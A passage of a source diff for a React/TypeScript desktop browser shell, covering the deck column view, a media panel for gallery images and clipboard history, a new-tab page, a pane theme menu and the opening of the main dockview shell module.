useLayoutEffect(() => {
const el = body.current;
if (!el || leaving) return;
shell.placeholders.set(column.tabId, el);
const observer = new ResizeObserver(scheduleSync);
observer.observe(el);
scheduleSync();
return () => {
observer.disconnect();
if (shell.placeholders.get(column.tabId) === el) shell.placeholders.delete(column.tabId);
scheduleSync();
};
}, [column.tabId, leaving]);
// Position changes (paging, reordering, width) move the webview with the placeholder.
useEffect(() => { scheduleSync(); }, [x, width]);
const open = (kind: 'filters' | 'menu') => (event: ReactMouseEvent<HTMLButtonElement>) =>
setMenu(menu?.kind === kind ? null : { kind, anchor: event.currentTarget.getBoundingClientRect() });
const remove = () => {
setLeaving(true);
// The webview hides at once (no placeholder); the header slides out, then the column goes.
const reduced = window.matchMedia?.('(prefers-reduced-motion: reduce)').matches;
setTimeout(() => removeColumn(deck.id, column.id), reduced ? 0 : 180);
};
return <section className={`bt-col${focused ? ' is-focused' : ''}${leaving ? ' is-leaving' : ''}`} style={{ left: x, width, ['--bt-col-account' as string]: account.color }}
aria-label={tr('wb.deck.columnLabel', { title })} onMouseDown={() => { if (!focused) focusColumn(deck.id, column.id, false); }}>
<header className="bt-col-head">
{away
? <button className="bt-col-glyph bt-col-back" title={tr('wb.deck.backTo', { title })} aria-label={tr('wb.deck.backTo', { title })}
onClick={() => { if (source) invoke('tab_navigate', { id: column.tabId, url: source }).catch(() => {}); }}><Icon name="back"/></button>
: <span className="bt-col-glyph" aria-hidden="true"><Icon name={type?.icon ?? 'globe'}/></span>}
<div className="bt-col-titles" title={detail ? `${title} · ${detail}` : title}>
<strong>{title}</strong>
<span>{away ? (pageTitle(runtime?.title ?? '') || tr('wb.deck.viewingPost')) : detail ?? `${site().accounts.handlePrefix}${account.account?.handle ?? account.name}`}</span>
</div>
{unread > 0 && <button className="bt-col-unread" title={tr('wb.deck.jumpUnreadTitle')} aria-label={tr('wb.deck.unreadLabel', { count: unread })} onClick={() => bump(column, 'jump')}>{unreadLabel(unread)}</button>}
<span className="bt-col-fill"/>
<span className="bt-col-account" title={tr('wb.shell.tab.account', { name: accountName(account) })}><AccountAvatar profile={account} size={20}/></span>
<button className={`bt-icon bt-col-btn${filtered ? ' is-active' : ''}`} title={tr('wb.deck.filters')} aria-label={tr('wb.deck.filters')} aria-haspopup="dialog" aria-expanded={menu?.kind === 'filters'} onClick={open('filters')}><Icon name="filter"/></button>
<button className="bt-icon bt-col-btn" title={tr('wb.deck.menu')} aria-label={tr('wb.deck.menu')} aria-haspopup="menu" aria-expanded={menu?.kind === 'menu'} onClick={open('menu')}>
<svg className="bt-glyph" viewBox="0 0 24 24" aria-hidden="true"><path d="M6 12h.01M12 12h.01M18 12h.01" strokeWidth="3"/></svg></button>
{number <= 9 && <span className="bt-col-key" aria-hidden="true">{number}</span>}
{runtime?.loading && <span className="bt-col-progress" aria-label={tr('wb.common.loading')}/>}
</header>
<div className="bt-col-body" ref={body}>
{still
? <div className="bt-still" aria-hidden="true" style={{ backgroundImage: `url("${still}")` }}/>
: <div className="bt-col-hint"><span className="bt-spinner" aria-hidden="true"/><span>{title}</span></div>}
</div>
{menu?.kind === 'filters' && <FilterPopover deckId={deck.id} column={column} anchor={menu.anchor} onClose={() => setMenu(null)}/>}
{menu?.kind === 'menu' && <ColumnMenu deck={deck} column={column} anchor={menu.anchor} onClose={() => setMenu(null)} onRemove={remove}/>}
</section>;
}
// ---------------------------------------------------------------------------------------------
function EmptyDeck({ deck, onAdd }: { deck: Deck; onAdd(): void }) {
const tr = useT();
const profiles = useProfiles();
const ids = profiles.profiles.map(p => p.id);
const ordered = [profiles.active, ...ids.filter(id => id !== profiles.active)];
return <div className="bt-deck-empty bt-rise">
<div className="bt-deck-empty-art" aria-hidden="true">{[0, 1, 2, 3].map(i => <span key={i} style={{ animationDelay: `${i * 70}ms` }}/>)}</div>
<h2>{tr('wb.deck.title')}</h2>
<p>{tr('wb.deck.emptyHint', { site: site().name })}</p>
<div className="bt-deck-empty-actions">
<button className="bt-deck-primary" onClick={onAdd}><Icon name="plus"/>{tr('wb.deck.addColumn')}</button>
{(deckSite().presets ?? []).map(preset => {
const needs = preset.needsTwoAccounts && ids.length < 2 ? preset.needsTwoAccounts() : undefined;
return <button key={preset.id} className="bt-deck-secondary" disabled={!!needs} title={needs}
onClick={() => { for (const column of preset.columns(ordered)) addColumn(deck.id, column); }}>{preset.label()}</button>;
})}
</div>
<p className="bt-deck-empty-keys">
<span><span className="bt-kbd">[</span><span className="bt-kbd">]</span> {tr('wb.deck.key.columns')}</span>
<span><span className="bt-kbd">Alt</span><span className="bt-kbd">1–9</span> {tr('wb.deck.key.jump')}</span>
<span><span className="bt-kbd">Alt</span><span className="bt-kbd">R</span> {tr('wb.deck.key.read')}</span>
{deckSite().compose && <span><span className="bt-kbd">Ctrl</span><span className="bt-kbd">Alt</span><span className="bt-kbd">N</span> {tr('wb.deck.key.post')}</span>}
</p>
</div>;
}
export function DeckView(props: IDockviewPanelProps<DeckParams>) {
const tr = useT();
useDecks();
const deckId = props.params.deckId;
const row = useRef<HTMLDivElement>(null);
const [rowWidth, setRowWidth] = useState(0);
const [adding, setAdding] = useState(false);
const deck = deckById(deckId);
const compose = deckSite().compose;
useLayoutEffect(() => {
const el = row.current;
if (!el) return;
const measure = () => { const w = Math.floor(el.getBoundingClientRect().width); rowWidths.set(deckId, w); setRowWidth(w); };
const observer = new ResizeObserver(measure);
observer.observe(el);
measure();
return () => observer.disconnect();
}, [deckId, !!deck]);
useEffect(() => {
const visibility = props.api.onDidVisibilityChange(scheduleSync);
// The palette's "Add column…" opens this deck's dialog.
const add = (event: Event) => { if ((event as CustomEvent<string>).detail === deckId) setAdding(true); };
window.addEventListener('bt-deck-add', add);
return () => { visibility.dispose(); window.removeEventListener('bt-deck-add', add); };
}, [props.api, deckId]);
// Every column gets its config before its webview exists (no flash of the site's chrome);
// unmounting the deck forgets what was sent, so reopening it configures again.
useEffect(() => {
if (!deck) return;
for (const column of deck.columns) {
if (decks.sent.has(column.tabId)) continue;
void configureColumn(column, true).then(() => { decks.ready.add(column.tabId); scheduleSync(); });
}
});
useEffect(() => () => {
for (const column of deckById(deckId)?.columns ?? []) { decks.sent.delete(column.tabId); decks.ready.delete(column.tabId); }
}, [deckId]);
if (!deck) {
return <div className="bt-deck"><div className="bt-deck-empty"><h2>{tr('wb.deck.gone')}</h2><p>{tr('wb.deck.goneHint')}</p>
<button className="bt-deck-secondary" onClick={() => props.api.close()}>{tr('wb.shell.menu.close')}</button></div></div>;
}
const settings = decks.settings;
const width = columnsWidth(rowWidth, deck.id);
const layout = layoutColumns(width, deck.columns, decks.page.get(deck.id) ?? 0, { maxVisible: settings.maxVisible });
const focusedId = decks.focus.get(deck.id) ?? layout.visible[0]?.id;
const total = unreadTotal(new Map(deck.columns.map(c => [c.tabId, decks.runtime.get(c.tabId)?.unread ?? 0])), deck.columns);
const setPage = (page: number) => { decks.page.set(deck.id, page); emitDecks(); scheduleSync(); };
const composing = compose && decks.compose.get(deck.id);
const overLimit = deck.columns.length > settings.maxVisible;
return <div className="bt-deck">
<div className="bt-deck-bar">
<span className="bt-deck-mark" aria-hidden="true"><Icon name="grid"/></span>
<strong className="bt-deck-name">{deck.name}</strong>
<span className="bt-deck-count">{tr('wb.deck.columnCount', { count: deck.columns.length })}</span>
{total > 0 && <span className="bt-deck-total" title={tr('wb.deck.unreadTitle')}>{tr('wb.deck.newCount', { count: unreadLabel(total) })}</span>}
<span className="bt-deck-fill"/>
{layout.pages > 1 && <div className="bt-deck-pager" role="group" aria-label={tr('wb.deck.pages')}>
<button className="bt-icon" title={tr('wb.deck.prevTitle')} aria-label={tr('wb.deck.prev')} disabled={layout.page === 0} onClick={() => setPage(layout.page - 1)}><Icon name="back"/></button>
{Array.from({ length: layout.pages }, (_, i) => <button key={i} className={`bt-deck-dot${i === layout.page ? ' is-on' : ''}`} aria-label={tr('wb.deck.page', { n: i + 1 })} aria-current={i === layout.page ? 'page' : undefined} onClick={() => setPage(i)}/>)}
<button className="bt-icon" title={tr('wb.deck.nextTitle')} aria-label={tr('wb.deck.next')} disabled={layout.page >= layout.pages - 1} onClick={() => setPage(layout.page + 1)}><Icon name="forward"/></button>
</div>}
{overLimit && <span className="bt-deck-memory" title={tr('wb.deck.memoryTitle', { count: decks.settings.maxVisible, site: site().name })}>{tr('wb.deck.onScreen', { visible: layout.visible.length, total: deck.columns.length })}</span>}
<button className="bt-deck-action" onClick={() => setAdding(true)} title={tr('wb.deck.addColumn')}><Icon name="plus"/><span>{tr('wb.deck.column')}</span></button>
{compose && <button className={`bt-deck-action${composing ? ' is-on' : ''}`} onClick={() => toggleCompose(deck.id, deck.columns.find(c => c.id === focusedId)?.profile)} title={tr('wb.deck.postTitle')} aria-pressed={!!composing}>
<Icon name="edit"/><span>{tr('wb.deck.post')}</span></button>}
<button className="bt-icon bt-deck-settings" title={tr('wb.deck.settings')} aria-label={tr('wb.deck.settings')} onClick={() => shell.openPanelSection('power')}><Icon name="settings"/></button>
</div>
<div className="bt-deck-row" ref={row}>
{deck.columns.length === 0
? <EmptyDeck deck={deck} onAdd={() => setAdding(true)}/>
: layout.visible.map(place => {
const column = deck.columns.find(c => c.id === place.id)!;
return <ColumnView key={column.id} deck={deck} column={column} x={place.x} width={place.width} focused={column.id === focusedId}
number={deck.columns.indexOf(column) + 1}/>;
})}
{compose && composing && <compose.Dock deckId={deck.id} left={width + COLUMN_GAP}/>}
</div>
{adding && <AddColumnDialog deck={deck} onClose={() => setAdding(false)} onAdd={input => {
const column = addColumn(deck.id, input);
void configureColumn(column, true).then(() => { decks.ready.add(column.tabId); focusColumn(deck.id, column.id, false); });
setAdding(false);
}}/>}
</div>;
}
/** Unread total of a deck on its dockview tab. */
export function DeckTabBadge({ deckId }: { deckId: string }) {
useDecks();
const deck = deckById(deckId);
if (!deck) return null;
const total = unreadTotal(new Map(deck.columns.map(c => [c.tabId, decks.runtime.get(c.tabId)?.unread ?? 0])), deck.columns);
return total > 0 ? <span className="bt-tab-unread" aria-label={`${total} unread`}>{unreadLabel(total)}</span> : null;
}

View file

@ -0,0 +1,113 @@
import { useEffect, useState } from 'react';
import { createPortal } from 'react-dom';
import { invoke, listen } from './bridge.ts';
import { useT } from './hooks.ts';
import { attachTarget, clipPreview, folderLabel, relativeTime, type ClipItem, type GalleryImage, type MediaSettings } from './mediaModel.ts';
import { site } from './site.ts';
import { isWeb, setOverlay, shell, type WebParams } from './state.ts';
const getError = (error: unknown) => error instanceof Error ? error.message : String(error);
function targetTab() {
const api = shell.api;
const media = site().media;
if (!api || !media) return null;
const tabs = api.panels.filter(isWeb).map(panel => ({ id: panel.id, url: (panel.params as WebParams).url }));
return attachTarget(tabs, api.activePanel?.id, media.canAttach);
}
/** Lazily loads one preview (a data URL read natively, only from inside a gallery folder). */
function Thumb({ command, args, alt }: { command: string; args: Record<string, unknown>; alt: string }) {
const [src, setSrc] = useState<string | null>(null);
useEffect(() => {
let live = true;
invoke<string>(command, args).then(url => { if (live) setSrc(url); }).catch(() => {});
return () => { live = false; };
}, [command, JSON.stringify(args)]);
return src ? <img src={src} alt={alt} loading="lazy" draggable={false}/> : <span className="bt-media-thumb-empty"/>;
}
/**
* Media side panel: recent images from the owner's gallery folders and the local clipboard
* history. Choosing an item attaches the image to (or inserts the text into) the composer of the
* active site tab (`site.media.canAttach`). Nothing is posted; the user reviews and sends it themselves.
*/
export function MediaPanel({ onClose }: { onClose: () => void }) {
const t = useT();
const siteName = site().name;
const [tab, setTab] = useState<'gallery' | 'clipboard'>('gallery');
const [settings, setSettings] = useState<MediaSettings | null>(null);
const [images, setImages] = useState<GalleryImage[] | null>(null);
const [clips, setClips] = useState<ClipItem[] | null>(null);
const [error, setError] = useState('');
const refresh = () => {
invoke<MediaSettings>('media_get').then(setSettings).catch(err => setError(getError(err)));
invoke<GalleryImage[]>('gallery_list', { limit: 60 }).then(setImages).catch(err => setError(getError(err)));
invoke<ClipItem[]>('clip_list').then(setClips).catch(err => setError(getError(err)));
};
useEffect(() => {
setOverlay(1);
invoke('shell_focus').catch(() => {});
refresh();
const unlisten = listen('clipboard-changed', () => { invoke<ClipItem[]>('clip_list').then(setClips).catch(() => {}); });
const onKey = (event: KeyboardEvent) => { if (event.key === 'Escape') onClose(); };
window.addEventListener('keydown', onKey);
return () => { setOverlay(-1); window.removeEventListener('keydown', onKey); unlisten.then(dispose => dispose()).catch(() => {}); };
}, []);
const deliver = (command: 'tab_attach_image' | 'tab_insert_text', args: Record<string, unknown>) => {
const target = targetTab();
if (!target) { setError(t('wb.media.noComposer', { site: siteName })); return; }
onClose();
shell.api?.getPanel(target.id)?.api.setActive();
// Wait until the tab webview is shown again (the overlay hid it), then attach. Never posts.
setTimeout(() => {
invoke(command, { id: target.id, ...args }).catch(err => console.warn('[shell] media attach failed', err));
}, 150);
};
const addFolder = () => invoke<MediaSettings>('gallery_add_folder').then(next => { setSettings(next); refresh(); }).catch(err => setError(getError(err)));
const removeClip = (id: string) => invoke<ClipItem[]>('clip_remove', { id }).then(setClips).catch(err => setError(getError(err)));
return createPortal(<div className="bt-palette-backdrop bt-media-backdrop" onMouseDown={onClose}>
<aside className="bt-media" role="dialog" aria-label={t('wb.media.title')} onMouseDown={event => event.stopPropagation()}>
<header className="bt-media-head">
<div className="bt-media-tabs" role="tablist">
<button role="tab" aria-selected={tab === 'gallery'} className={tab === 'gallery' ? 'active' : ''} onClick={() => setTab('gallery')}>{t('wb.media.gallery')}</button>
<button role="tab" aria-selected={tab === 'clipboard'} className={tab === 'clipboard' ? 'active' : ''} onClick={() => setTab('clipboard')}>{t('wb.media.clipboard')}</button>
</div>
<button className="bt-icon bt-media-close" aria-label={t('wb.common.close')} title={t('wb.media.closeTitle')} onClick={onClose}><svg viewBox="0 0 24 24" aria-hidden="true"><path d="M6 6l12 12M18 6L6 18"/></svg></button>
</header>
{error && <div className="bt-media-error" role="alert">{error}</div>}
{tab === 'gallery' && <div className="bt-media-body">
{settings && settings.folders.length === 0 && <div className="bt-media-empty"><p>{t('wb.media.pickFolders')}</p><button className="button small" onClick={() => void addFolder()}>{t('wb.media.addFolder')}</button></div>}
{settings && settings.folders.length > 0 && <div className="bt-media-folders">{settings.folders.map(folder => <span key={folder} className="pill" title={folder}>{folderLabel(folder)}</span>)}<button className="bt-media-link" onClick={() => void addFolder()}>{t('wb.media.add')}</button></div>}
{images && images.length > 0 && <div className="bt-media-grid">
{images.map(image => <button key={image.path} className="bt-media-tile" title={t('wb.media.attachTitle', { name: image.name })} onClick={() => deliver('tab_attach_image', { source: { kind: 'gallery', path: image.path } })}>
<Thumb command="gallery_thumb" args={{ path: image.path }} alt={image.name}/>
<span className="bt-media-caption">{relativeTime(image.modifiedMs)}</span>
</button>)}
</div>}
{settings && settings.folders.length > 0 && images?.length === 0 && <div className="bt-media-empty"><p>{t('wb.media.noImages')}</p></div>}
</div>}
{tab === 'clipboard' && <div className="bt-media-body">
{settings && !settings.clipboardEnabled && <div className="bt-media-empty"><p>{t('wb.media.clipOff', { count: settings.clipboardMax })}</p></div>}
{clips && clips.length === 0 && settings?.clipboardEnabled && <div className="bt-media-empty"><p>{t('wb.media.clipEmpty')}</p></div>}
{clips && clips.length > 0 && <ul className="bt-media-clips">
{clips.map(item => <li key={item.id} className="bt-media-clip">
<button className="bt-media-clip-main" title={t('wb.media.putIn')} onClick={() => item.kind === 'image'
? deliver('tab_attach_image', { source: { kind: 'clip', id: item.id } })
: deliver('tab_insert_text', { text: item.text ?? '' })}>
{item.kind === 'image' ? <span className="bt-media-clip-thumb"><Thumb command="clip_thumb" args={{ id: item.id }} alt={t('wb.media.copiedImage')}/></span> : <span className="bt-media-clip-text">{clipPreview(item)}</span>}
<small>{relativeTime(item.at)}</small>
</button>
<button className="bt-icon" aria-label={t('wb.media.removeFromHistory')} title={t('wb.common.remove')} onClick={() => void removeClip(item.id)}><svg viewBox="0 0 24 24" aria-hidden="true"><path d="M6 6l12 12M18 6L6 18"/></svg></button>
</li>)}
</ul>}
</div>}
<footer className="bt-palette-foot"><span>{t('wb.media.clickToAttach', { site: siteName })}</span><span>{t('wb.media.youPost')}</span></footer>
</aside>
</div>, document.body);
}

View file

@ -0,0 +1,112 @@
import { useEffect, useRef, useState } from 'react';
import { tabProfile } from '../profileModel.ts';
import { invoke } from './bridge.ts';
import { useProfiles, useSiteText, useT } from './hooks.ts';
import { Avatar, Icon } from './icons.tsx';
import { toUrl } from './searchInput.ts';
import { site } from './site.ts';
import { shell } from './state.ts';
const hostOf = (url: string) => { try { return new URL(url).host.replace(/^www\./, ''); } catch { return url; } };
/** Human label for a closed tab without a stored title: the address bar's own reading of the URL. */
function labelFor(url: string, title: string | undefined): string {
if (title) return title;
const model = site().address(url);
if (!model) return url;
return [model.site.label, ...model.segments.map(segment => segment.label)].join(' / ');
}
/**
* The new-tab page (and the empty-dock state): one search/address field, the site's quick links,
* recently closed tabs and the account the links open in. Drawn by the shell; it never has a webview.
*/
export function NewTabPage({ panelId, profile: initialProfile, onProfile }: { panelId?: string; profile?: string; onProfile?: (id: string) => void }) {
const profiles = useProfiles();
useSiteText();
const [profile, setProfile] = useState(() => tabProfile(profiles, initialProfile ?? profiles.active).id);
const [query, setQuery] = useState('');
const [, refresh] = useState(0);
const input = useRef<HTMLInputElement>(null);
const multi = profiles.profiles.length > 1;
const recent = shell.closed.map((tab, index) => ({ ...tab, index })).reverse().slice(0, 6);
const { logo, newTab, isSiteUrl } = site();
useEffect(() => {
const focus = (event: Event) => {
if ((event as CustomEvent<string>).detail !== panelId) return;
input.current?.focus();
input.current?.select();
};
window.addEventListener('bt-focus-address', focus);
return () => window.removeEventListener('bt-focus-address', focus);
}, [panelId]);
const open = (url: string) => shell.openFromStart(url, profile, panelId);
const pick = (id: string) => { setProfile(id); onProfile?.(id); };
const reopen = (index: number) => {
const [tab] = shell.closed.splice(index, 1);
refresh(value => value + 1);
if (tab) shell.openFromStart(tab.url, tabProfile(profiles, tab.profile).id, panelId);
};
const t = useT();
const search = newTab.search();
return <div className="bt-start">
<div className="bt-start-inner">
<div className="bt-start-mark bt-rise" aria-hidden="true"><img src={logo} alt="" width={40} height={40} draggable={false}/></div>
<form className="bt-start-search bt-rise" style={{ animationDelay: '30ms' }} role="search"
onSubmit={event => { event.preventDefault(); if (query.trim()) open(toUrl(query, site().searchUrl)); }}>
<Icon name="search"/>
<input ref={input} value={query} onChange={event => setQuery(event.target.value)} spellCheck={false} autoComplete="off"
aria-label={search} placeholder={search}
onFocus={() => invoke('shell_focus').catch(() => {})}
onKeyDown={event => { if (event.key === 'Escape') { event.preventDefault(); setQuery(''); } }}/>
<kbd className="bt-kbd">{t('wb.newtab.enter')}</kbd>
</form>
{multi && <div className="bt-start-accounts bt-rise" style={{ animationDelay: '60ms' }} role="radiogroup" aria-label={t('wb.newtab.openLinksAs')}>
<span className="bt-start-label">{t('wb.newtab.openAs')}</span>
{profiles.profiles.map(item => <button key={item.id} type="button" role="radio" aria-checked={item.id === profile}
className="bt-start-account" onClick={() => pick(item.id)}>
<Avatar name={item.name} color={item.color} size={20}/><span>{item.name}</span>
</button>)}
</div>}
{newTab.links.length > 0 && <section className="bt-start-section bt-rise" style={{ animationDelay: '90ms' }} aria-label={t('wb.newtab.goTo')}>
<div className="bt-start-links">
{newTab.links.map(link => {
const url = link.url(shell.homeUrl);
return <button key={link.id} type="button" className="bt-start-link" title={url} onClick={() => open(url)}>
<span className="bt-start-link-icon"><Icon name={link.icon}/></span>
<span className="bt-start-link-label">{link.label()}</span>
</button>;
})}
</div>
</section>}
{recent.length > 0 && <section className="bt-start-section bt-rise" style={{ animationDelay: '120ms' }} aria-labelledby="bt-start-recent">
<h2 className="bt-start-label" id="bt-start-recent">{t('wb.newtab.recent')}</h2>
<ul className="bt-start-recent">
{recent.map(tab => {
const account = tabProfile(profiles, tab.profile);
return <li key={`${tab.index}:${tab.url}`}>
<button type="button" className="bt-start-row" title={tab.url} onClick={() => reopen(tab.index)}>
{isSiteUrl(tab.url) ? <img className="bt-start-row-icon" src={logo} alt="" width={16} height={16}/> : <span className="bt-start-row-icon"><Icon name="globe"/></span>}
<span className="bt-start-row-title">{labelFor(tab.url, tab.title)}</span>
<span className="bt-start-row-host">{hostOf(tab.url)}</span>
{multi && <Avatar name={account.name} color={account.color} size={16}/>}
</button>
</li>;
})}
</ul>
</section>}
<footer className="bt-start-foot bt-rise" style={{ animationDelay: '150ms' }}>
<span><kbd className="bt-kbd">Ctrl</kbd><kbd className="bt-kbd">K</kbd> {t('wb.newtab.commands')}</span>
<span><kbd className="bt-kbd">Ctrl</kbd><kbd className="bt-kbd">⇧</kbd><kbd className="bt-kbd">T</kbd> {t('wb.newtab.reopen')}</span>
<span><kbd className="bt-kbd">Ctrl</kbd><kbd className="bt-kbd">\</kbd> {t('wb.newtab.split')}</span>
</footer>
</div>
</div>;
}

View file

@ -0,0 +1,82 @@
// "Theme for this pane": a menu (tab context menu, the address bar's ⋯ menu) that gives one pane its
// own theme or lets it follow its account's / the global theme again. Pane themes are stored with
// the other scopes (themeStore.ts → native `theme_scopes_set`), which re-themes that tab natively.
// Only with themes (`site.themes`).
import { useEffect, useRef, useState, type KeyboardEvent as ReactKeyboardEvent } from 'react';
import { createPortal } from 'react-dom';
import { useT, useThemeState } from './hooks.ts';
import { Icon } from './icons.tsx';
import { site } from './site.ts';
import { setOverlay, shell } from './state.ts';
import { assign, themeIdFor } from './themeScopes.ts';
import type { ThemeDoc, ThemeStore } from './themeStore.ts';
import './paneTheme.css';
type Request = { id: string; profile: string; x: number; y: number };
let open: (request: Request | null) => void = () => {};
export const openPaneTheme = (request: Request) => open(request);
/** Three dots of a theme's page, text and accent. */
export function ThemeDots<Spec extends ThemeDoc>({ theme, store }: { theme: Spec; store?: ThemeStore<unknown, Spec> }) {
const themes = (store ?? site().themes) as ThemeStore<unknown, Spec> | undefined;
if (!themes) return null;
const c = themes.adapter.dots(theme);
return <span className="wb-dots" aria-hidden="true" style={{ background: c.page }}>
<i style={{ background: c.bg, boxShadow: `inset 0 0 0 1px ${c.border}` }}/><i style={{ background: c.text }}/><i style={{ background: c.accent }}/>
</span>;
}
export function PaneThemeHost() {
const [request, setRequest] = useState<Request | null>(null);
open = setRequest;
const themes = site().themes;
return request && themes ? <PaneThemeMenu request={request} store={themes} onClose={() => setRequest(null)}/> : null;
}
function PaneThemeMenu({ request, store, onClose }: { request: Request; store: ThemeStore<unknown, ThemeDoc>; onClose(): void }) {
const { scopes, choice } = useThemeState(store);
const list = useRef<HTMLDivElement>(null);
useEffect(() => {
setOverlay(1);
const onBlur = () => onClose();
window.addEventListener('blur', onBlur);
requestAnimationFrame(() => list.current?.querySelector<HTMLButtonElement>('[aria-checked=true]')?.focus());
return () => { setOverlay(-1); window.removeEventListener('blur', onBlur); };
}, []);
const own = scopes.panes[request.id];
const inherited = themeIdFor({ ...scopes, panes: {} }, { profile: request.profile }, store.adapter.preset(choice), id => store.knownTheme(id));
const pick = (theme: string | null) => {
onClose();
void store.setScopes(assign(store.themeState().scopes, 'panes', request.id, theme)).catch(() => {});
};
const onKey = (event: ReactKeyboardEvent) => {
const items = [...(list.current?.querySelectorAll<HTMLButtonElement>('button') ?? [])];
const index = items.indexOf(document.activeElement as HTMLButtonElement);
if (event.key === 'Escape') { event.preventDefault(); onClose(); }
else if (event.key === 'ArrowDown' || event.key === 'ArrowUp') {
event.preventDefault();
items[(index + (event.key === 'ArrowDown' ? 1 : -1) + items.length) % items.length]?.focus();
} else if (event.key === 'Home' || event.key === 'End') { event.preventDefault(); items[event.key === 'Home' ? 0 : items.length - 1]?.focus(); }
};
const t = useT();
const left = Math.max(8, Math.min(request.x, window.innerWidth - 280));
const top = Math.max(8, Math.min(request.y, window.innerHeight - 440));
return createPortal(<div className="bt-menu-backdrop" onMouseDown={onClose} onContextMenu={event => { event.preventDefault(); onClose(); }}>
<div className="bt-menu bt-pop wb-pane-menu" role="menu" aria-label={t('wb.pane.theme')} style={{ left, top }} onMouseDown={event => event.stopPropagation()} onKeyDown={onKey} ref={list}>
<div className="wb-pane-menu-head"><Icon name="palette"/><span>{t('wb.pane.theme')}</span></div>
<button role="menuitemradio" aria-checked={!own} onClick={() => pick(null)}>
<span className="bt-menu-label">{inherited.source === 'account' ? t('wb.pane.followAccount') : t('wb.pane.followApp')} <small>· {store.themeName(inherited.id)}</small></span>
{!own && <Icon name="check"/>}
</button>
<hr/>
<div className="wb-pane-menu-list">
{store.allThemes(choice).map(theme => <button key={theme.id} role="menuitemradio" aria-checked={own === theme.id} onClick={() => pick(theme.id)}>
<ThemeDots theme={theme} store={store}/><span className="bt-menu-label">{theme.name}</span>{own === theme.id && <Icon name="check"/>}
</button>)}
</div>
<hr/>
<button role="menuitem" onClick={() => { onClose(); shell.openPanelSection('themes'); }}><Icon name="settings"/><span className="bt-menu-label">{t('wb.pane.themesLink')}</span></button>
</div>
</div>, document.body);
}

View file

@ -0,0 +1,922 @@
// The shell: a trusted local page that fills the window and hosts the dock (dockview): tabs in the
// titlebar row, splits, the new-tab page, decks, the app's panel tab, link drags into the dock,
// keyboard shortcuts, overlays (menus, palette, dialogs) and session layout persistence. Each web
// tab is a native child webview that native code places over its pane (`tabs_sync`, state.ts).
import {
DockviewReact, themeDark,
type DockviewApi, type DockviewGroupPanel, type DockviewReadyEvent, type IDockviewHeaderActionsProps, type IDockviewPanel,
type IDockviewPanelHeaderProps, type IDockviewPanelProps, type SerializedDockview,
} from 'dockview';
import 'dockview/dist/styles/dockview.css';
import { useEffect, useRef, useState, type MouseEvent as ReactMouseEvent } from 'react';
import { createPortal } from 'react-dom';
import { carriesLink, dropUrl, placementFor, type Placement as DropPlacement } from '../linkDrop.ts';
import { besideGroup } from '../paneModel.ts';
import { tabProfile } from '../profileModel.ts';
import { accountAction } from './accountModel.ts';
import { accountLabel } from './AccountSwitcher.tsx';
import { invoke, listen } from './bridge.ts';
import { CommandPalette } from './CommandPalette.tsx';
import { DeckTabBadge, DeckView, focusColumn, runDeckCommand } from './DeckView.tsx';
import { columnSourceUrl, createDeck, deckById, decks, findColumnTab, loadDecks, setRuntime } from './deckStore.ts';
import { installDevHost } from './devHost.ts';
import { useProfiles, useT } from './hooks.ts';
import { t } from './i18n.ts';
import { Icon, type IconName } from './icons.tsx';
import { MediaPanel } from './MediaPanel.tsx';
import { NewTabPage } from './NewTabPage.tsx';
import type { PaletteAction, PaletteContext } from './paletteModel.ts';
import { PaneThemeHost, openPaneTheme } from './PaneTheme.tsx';
import { focusedCommands, installPluginCommands, notePanelActive, refreshPluginNames, runPluginCommand } from './pluginCommandStore.ts';
import { hasFeature, site } from './site.ts';
import {
flushLayer, flushSync, isWeb, loadLayout, newTabId, paneInfos, panelId, patchParams, saveLayoutSoon, scheduleSync, setOverlay, setProfiles, shell, tabAction,
type DeckParams, type PanelParams, type StartParams, type TabParams, type WebParams,
} from './state.ts';
import { installSyncHost } from './syncHost.ts';
import { ResizeGrips, Titlebar, titlebarContextMenu } from './Titlebar.tsx';
import { openWorkspaceSave } from './TitlebarExtras.tsx';
import { WebPanel } from './WebPanel.tsx';
import { frameless, isTauri, onMaximizedChange, os } from './windowBinding.ts';
import { loadWorkspaces, restoreWorkspace, workspaceList, workspaces } from './workspaces.ts';
import './shell.css';
type Placement = { referencePanel: string; direction: 'within' | 'right' | 'below' };
/** A development build (createShell's `dev`): the shell keeps the devtools shortcut. */
let devBuild = false;
export function setDevBuild(value: boolean) {
devBuild = value;
}
/** Opens a web tab. `profile` defaults to the switcher's active account. */
const originOf = (url: string) => { try { return new URL(url).origin; } catch { return ''; } };
function addWeb(url: string, placement?: Placement | DropPlacement, activate = true, profile = shell.profiles.active, besideOf?: string): IDockviewPanel | undefined {
const api = shell.api;
if (!api) return;
const valid = placement && ('referencePanel' in placement ? !!api.getPanel(placement.referencePanel)
: 'referenceGroup' in placement ? !!api.getGroup(placement.referenceGroup) : true);
const reference = valid ? placement : undefined;
return api.addPanel<WebParams>({
id: newTabId(),
component: 'web',
title: t('wb.shell.tab.new'),
params: { kind: 'web', url, profile: tabProfile(shell.profiles, profile).id, ...(besideOf ? { besideOf } : {}) },
position: reference ?? (api.activeGroup ? { referenceGroup: api.activeGroup, direction: 'within' } : undefined),
inactive: !activate,
});
}
/**
* The "pane" link setting: opens `url` in the side pane right of `source`'s group: split once, then
* reused. A link clicked inside a side pane stays in that pane instead of splitting again.
*/
function openBeside(url: string, source: IDockviewPanel, activate: boolean, profile?: string) {
const api = shell.api;
if (!api) return;
const origin = isWeb(source) ? (source.params as WebParams).besideOf : undefined;
if (origin) { addWeb(url, { referenceGroup: source.group.id, direction: 'within' }, activate, profile, origin); return; }
const box = (group: DockviewGroupPanel) => {
const rect = group.element.getBoundingClientRect();
const besideOf = group.panels.map(panel => (panel.params as Partial<WebParams> | undefined)?.besideOf).filter((id): id is string => !!id);
return { id: group.id, left: rect.left, top: rect.top, right: rect.right, bottom: rect.bottom, besideOf };
};
const target = besideGroup(box(source.group), api.groups.map(box));
addWeb(url, target ? { referenceGroup: target, direction: 'within' } : { referencePanel: source.id, direction: 'right' }, activate, profile, source.group.id);
}
/** Opens the new-tab page (shell-drawn, no webview) in the active group; links from it keep `profile`. */
function addStart(profile = shell.profiles.active, placement?: Placement): IDockviewPanel | undefined {
const api = shell.api;
if (!api) return;
const reference = placement && api.getPanel(placement.referencePanel) ? placement : undefined;
const panel = api.addPanel<StartParams>({
id: newTabId(),
component: 'start',
title: t('wb.shell.tab.new'),
params: { kind: 'start', profile: tabProfile(shell.profiles, profile).id },
position: reference ?? (api.activeGroup ? { referenceGroup: api.activeGroup, direction: 'within' } : undefined),
});
focusAddress(panel.id);
return panel;
}
